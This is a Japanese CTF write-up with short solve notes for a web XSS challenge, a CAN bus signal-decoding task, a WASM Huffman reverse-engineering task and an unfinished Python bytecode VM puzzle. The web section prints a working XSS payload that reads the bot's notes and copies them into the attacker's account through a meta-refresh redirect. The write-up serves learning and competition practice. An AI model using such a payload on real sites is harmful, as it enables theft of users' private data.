Love Note(Web)
- コードをざっと確認。bot がいる → XSS で情報流出系と判断。
- アプリ初期化時に flag を含むノートを作っている。
- innerHTML に直接代入している箇所は 1 箇所(bot 側)。
- ノートを開くとたまに XSS が発火。
- ヘッダーが明らかにおかしい。自前で header を組み立てており壊れている。
-
CSP が有効に見え、回避が必要だと思ったが、特に問題は見つからない。
-
JavaScript がきついなら CSS か? とも考えたが、style-src も対策済みに見えた
(※のちに static に redirect が書かれており、stylesheet による secret 流出が可能であったことが発覚。hate note はそれで解くらしい)。
-
JavaScript がきついなら CSS か? とも考えたが、style-src も対策済みに見えた
- スクリプトを含む見た目の HTML ノートを作り、そこへ遷移できれば XSS 発火できそう。
- GET の APIを読み、自分の ID でログインして新規ノートを作る方針にした(※その時点では 外部 API を呼ぶだけでよかったことに気づいていない)。
- metadata で遷移できると分かり、試したら動作。
- flag 取得。
使用したペイロード(抜粋)
<script>
async function main() {
const notes = await fetch('/api/notes').then(res => res.json());
await fetch('/api/auth/login', {
method: 'POST',
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: new URLSearchParams({ email: "test", password: "test" }),
});
await fetch('/api/notes', {
method: 'POST',
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: new URLSearchParams({ title: "xss!", content: notes.map(note => note.title).join(',') }),
})
}
main();
</script>
<meta http-equiv="refresh" content="0; url=https://inst-f8b09bf67b4c11e6-love-notes.chal.crewc.tf/api/notes/d8f3d033-f7d9-4de1-8824-e3a86cd4d048">
Gas, Gas, Gas(CAN)
- 問題文に車種が詳しく書かれており、この知識を使うと判断。
- 車の通信=CAN と想定。
- データを可視化。AI を使用して見やすく表示。
- 別信号かと思ったが差動信号。
- 時間が反転しているように見え、index 無視で並べ替え(後で混乱の原因)。
- 差分+しきい値で 1/0 化。
- クロックは 500kbps か 125kbpsに見える。4us サンプリング → 8us の 125kbpsと判断。
- 時間が正確なので、1/2 に間引けば綺麗。
- PulseView を使用。入力が分かりづらかったため wav へ変換して投入。
- CAN デコードが不正パケット。長時間デバッグ。
- SOT 後に 1 が来るのが当たり前ではない/終わりは 01 と再確認し、時間逆を疑う。
- 時間反転で CAN デコード成功。
- ID は 4+8 で別 ID。後ろの 8 の方がデータ長い。
- データ部を ASCII 表示すると、base64 decode してねと base64 データが見える。
- 1 バイト目と最後のバイトを削除するとよさそうに見え、base64 decode → flag。
WASM Vault(WASM → WAT → ハフマン)
- 外部に偶奇パリティ関数があり、それを与えて WASM 実行。
- 入力はメモリに置き、正誤を 0/1で返す。
- WASM を逆アセンブルできるか調べ、**wat(テキスト形式)**があると分かり、変換して読めた。
- ブラウザのデバッガも wat を自動表示。
- 動的デバッグすると 分岐が多い。固定パリティで片側にしか行かない挙動(難読化と判断)。
- 難読化部分を削除して 簡略化。コードが 1/3 程度になり、読めるように。
- 最初の関数:テーブルを 0,1,2,3… で初期化。
- 2 つ目の関数:テーブルに 文字ごとの頻度を格納。
- 3 つ目:複雑で不明。
- シンボリック実行は エラー(命令が無い等)。
- ハフマン符号化だと分かり、展開スクリプトを実行して flag。
??? Basic(Python バイトコード/VM)
何を見たか
- opcode 約 8 個で実装。
- 減算は add と invで作成(減算と 1337 は通過)。
- 定数生成:1 を作って倍々、必要分だけ dup して加算。
- 掛け算:スタック上位をローテートしながら実装を試みたが、時間切れ。